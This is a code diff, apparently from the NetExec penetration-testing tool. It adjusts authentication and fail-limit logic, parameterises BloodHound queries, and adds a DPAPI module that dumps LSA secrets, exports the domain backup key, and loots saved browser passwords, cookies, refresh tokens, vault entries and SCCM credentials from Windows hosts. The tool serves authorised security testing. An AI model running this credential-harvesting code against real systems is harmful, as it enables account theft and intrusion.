||||
global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
|
||||
def over_fail_limit(self, username):
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
with fail_lock:
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
|
||||
return True
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
|
||||
return True
|
||||
|
||||
return False
|
||||
return False
|
||||
|
||||
def query_db_creds(self):
|
||||
"""Queries the database for credentials to be used for authentication.
|
||||
@@ -480,8 +455,6 @@ class connection:
|
||||
- NTLM-hash (/kerberos)
|
||||
- AES-key
|
||||
"""
|
||||
if self.over_fail_limit(username):
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
|
||||
@@ -497,6 +470,8 @@ class connection:
|
||||
sleep(value)
|
||||
|
||||
with sem:
|
||||
if self.over_fail_limit(username):
|
||||
return False
|
||||
if cred_type == "plaintext":
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
@@ -552,22 +527,29 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
username = self.args.username[0] if len(self.args.username) else ""
|
||||
from impacket.krb5.ccache import CCache
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
if self.certificate_auth:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if not self.args.username:
|
||||
if self.args.protocol == "ldap" and self.args.schannel:
|
||||
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
|
||||
with sem:
|
||||
return self.plaintext_login(self.domain, "", "")
|
||||
if not username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
return pfx_auth(self)
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
return pfx_auth(self, domain[0], username[0])
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
@@ -599,5 +581,9 @@ class connection:
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
module = loader.init_module(module_path)
|
||||
try:
|
||||
module = loader.init_module(module_path)
|
||||
except ModuleOptionsError as e:
|
||||
self.logger.debug(f"Skipping module: {e}")
|
||||
continue
|
||||
self.modules.append(module)
|
||||
@@ -7,6 +7,9 @@ reveal_chars_of_pwd = 0
|
||||
log_mode = False
|
||||
host_info_colors = ["green", "red", "yellow", "cyan"]
|
||||
check_guest_account = False
|
||||
display_dc = True
|
||||
skip_self = False
|
||||
exclude_hosts = []
|
||||
|
||||
[BloodHound]
|
||||
bh_enabled = False
|
||||
|
||||
+7
-4
@@ -204,7 +204,10 @@ class BaseDB:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
with self.lock:
|
||||
res = self.sess.execute(*args)
|
||||
return res.freeze()() if res.returns_rows else res
|
||||
|
||||
def get_keys(self, key_id=None, cred_id=None):
|
||||
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
|
||||
return []
|
||||
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for user_info in users_owned:
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
|
||||
if not domain_query:
|
||||
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
|
||||
_add_without_domain(user_info, tx, logger)
|
||||
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
|
||||
user_owned = f"{user_info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
return
|
||||
if result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
|
||||
|
||||
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
|
||||
user_owned = user_info["username"]
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
|
||||
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
|
||||
|
||||
if len(result) == 0:
|
||||
logger.fail("Account not found in the BloodHound database.")
|
||||
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
|
||||
return
|
||||
elif result[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
|
||||
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
|
||||
@@ -0,0 +1,461 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -11,9 +11,8 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.network import DPLootConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
@@ -61,7 +60,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -69,16 +68,13 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.get_users()
|
||||
users = self.conn.list_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -89,18 +85,18 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
if key4_data is None:
|
||||
continue
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
@@ -147,7 +143,7 @@ class FirefoxTriage:
|
||||
|
||||
def parse_cookie_data(self, windows_user, cookies_data):
|
||||
cookies = []
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
|
||||
fh.write(cookies_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
@@ -192,7 +188,7 @@ class FirefoxTriage:
|
||||
# Instead of disabling "delete" and removing the file manually,
|
||||
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
|
||||
# Related issue: #134
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
|
||||
fh.write(key4_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
@@ -216,7 +212,7 @@ class FirefoxTriage:
|
||||
for row in cursor:
|
||||
try:
|
||||
a11 = row[0]
|
||||
a102 = row[1] # noqa: F841
|
||||
a102 = row[1] # ruff: ignore[unused-variable]
|
||||
|
||||
decoded_a11 = decoder.decode(a11)
|
||||
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
|
||||
@@ -252,17 +248,6 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
